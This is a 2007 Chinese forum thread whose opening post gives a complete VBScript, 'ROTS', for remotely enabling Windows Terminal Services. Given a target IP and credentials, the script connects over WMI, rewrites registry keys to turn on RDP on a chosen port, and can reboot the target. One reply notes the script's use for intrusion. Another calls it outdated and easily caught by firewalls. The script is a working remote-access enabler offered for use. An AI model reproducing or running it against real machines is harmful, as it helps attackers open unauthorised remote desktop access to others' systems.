找回密码
 注册
搜索
系统gho:最纯净好用系统下载站投放广告、加入VIP会员,请联系 微信:wuyouceo
查看: 592|回复: 8

3389脚本开启代码(vbs版)

[复制链接]
发表于 2007-7-7 09:49:15 | 显示全部楼层 |阅读模式
3389脚本开启代码(vbs版)将以下代码复制到记事本里并保存为rots.vbs
以下是代码片段:
on error resume next
set outstreem=wscript.stdout
set instreem=wscript.stdin
if (lcase(right(wscript.fullname,11))="wscript.exe") then
  set objShell=wscript.createObject("wscript.shell")
  objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
  wscript.quit
end if
if wscript.arguments.count<3 then
  usage()
  wscript.echo "Not enough parameters."
  wscript.quit
end if

ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
if wscript.arguments.count>3 then
  port=wscript.arguments(3)
else
  port=3389
end if
if not isnumeric(port) or port<1 or port>65000 then
  wscript.echo "The number of port is error."
  wscript.quit
end if
if wscript.arguments.count>4 then
  reboot=wscript.arguments(4)
else
  reboot=""
end if

usage()
outstreem.write "Conneting "&ipaddress&" ...."
set objlocator=createobject("wbemscripting.swbemlocator")
set objswbemservices=objlocator.connectserver(ipaddress,"root/cimv2",username,password)
objswbemservices.security_.privileges.add 23,true
objswbemservices.security_.privileges.add 18,true
showerror(err.number)

outstreem.write "Checking OS type...."
set colinstoscaption=objswbemservices.execquery("select caption from win32_operatingsystem")
for each objinstoscaption in colinstoscaption
  if instr(objinstoscaption.caption,"Server")>0 then
      wscript.echo "OK!"
  else
      wscript.echo "OS type is "&objinstoscaption.caption
      outstreem.write "Do you want to cancel setup?[y/n]"
      strcancel=instreem.read
      if lcase(strcancel)<>"n" then wscript.quit
  end if
next

outstreem.write "Writing into registry ...."
set objinstreg=objlocator.connectserver(ipaddress,"root/default",username,password).get("stdregprov")
HKLM=&h80000002
with objinstreg
.createkey ,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
.setdwordvalue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\netcache","Enabled",0
.createkey HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer"
.setdwordvalue HKLM,"SOFTWARE\Policies\Microsoft\Windows\Installer","EnableAdminTSRemote",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server","TSEnabled",1
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermDD","Start",2
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Services\TermService","Start",2
.setstringvalue HKLM,".DEFAULT\Keyboard Layout\Toggle","Hotkey","1"
.setdwordvalue HKLM,"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp","PortNumber",port
end with
showerror(err.number)

rebt=lcase(reboot)
if rebt="/r" or rebt="-r" or rebt="\r" then
  outstreem.write "Now, reboot target...."
  strwqlquery="select * from win32_operatingsystem where primary=''''true''''"
  set colinstances=objswbemservices.execquery(strwqlquery)
  for each objinstance in colinstances
      objinstance.win32shutdown(6)
  next
  showerror(err.number)
else
  wscript.echo "You need to reboot target."&vbcrlf&"Then,"
end if
wscript.echo "You can logon terminal services on "&port&" later. Good luck!"

function showerror(errornumber)
if errornumber Then
  wscript.echo "Error 0x"&cstr(hex(err.number))&" ."
  if err.description <> "" then
      wscript.echo "Error description: "&err.description&"."
  end if
  wscript.quit
else
  wscript.echo "OK!"
end if
end function

function usage()
wscript.echo string(79,"*")
wscript.echo "ROTS v1.01"
wscript.echo "Remote Open Terminal services Script, by zzzEVAzzz"
wscript.echo "Welcome to visite www.isgrey.com"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [port] [/r]"
wscript.echo "port: default number is 3389."
wscript.echo "/r: auto reboot target."
wscript.echo string(79,"*")&vbcrlf
end function
发表于 2007-7-7 10:37:43 | 显示全部楼层
这个.....................不懂..
回复

使用道具 举报

发表于 2007-7-7 12:37:21 | 显示全部楼层
Script早被我禁用了:lol
回复

使用道具 举报

发表于 2007-7-7 14:06:04 | 显示全部楼层
这个干嘛用的啊,
路过……
回复

使用道具 举报

发表于 2007-7-7 14:30:35 | 显示全部楼层
对搞入侵的人很有用啊!!!

对这个本人并不太感兴趣!
回复

使用道具 举报

发表于 2007-7-7 14:36:56 | 显示全部楼层
入侵还用这个,一下子就被防火墙抓了,老土了,LZ到处转帖也不看理不理解;P
回复

使用道具 举报

发表于 2007-7-8 00:02:23 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

发表于 2007-7-8 08:48:55 | 显示全部楼层
只不过以前学过点汇编,所以看其他代码比较容易懂,真实水平很一般:L
回复

使用道具 举报

发表于 2007-7-8 12:40:29 | 显示全部楼层
提示: 作者被禁止或删除 内容自动屏蔽
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1|闽公网安备35020302032614号 )

GMT+8, 2026-9-17 21:33

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表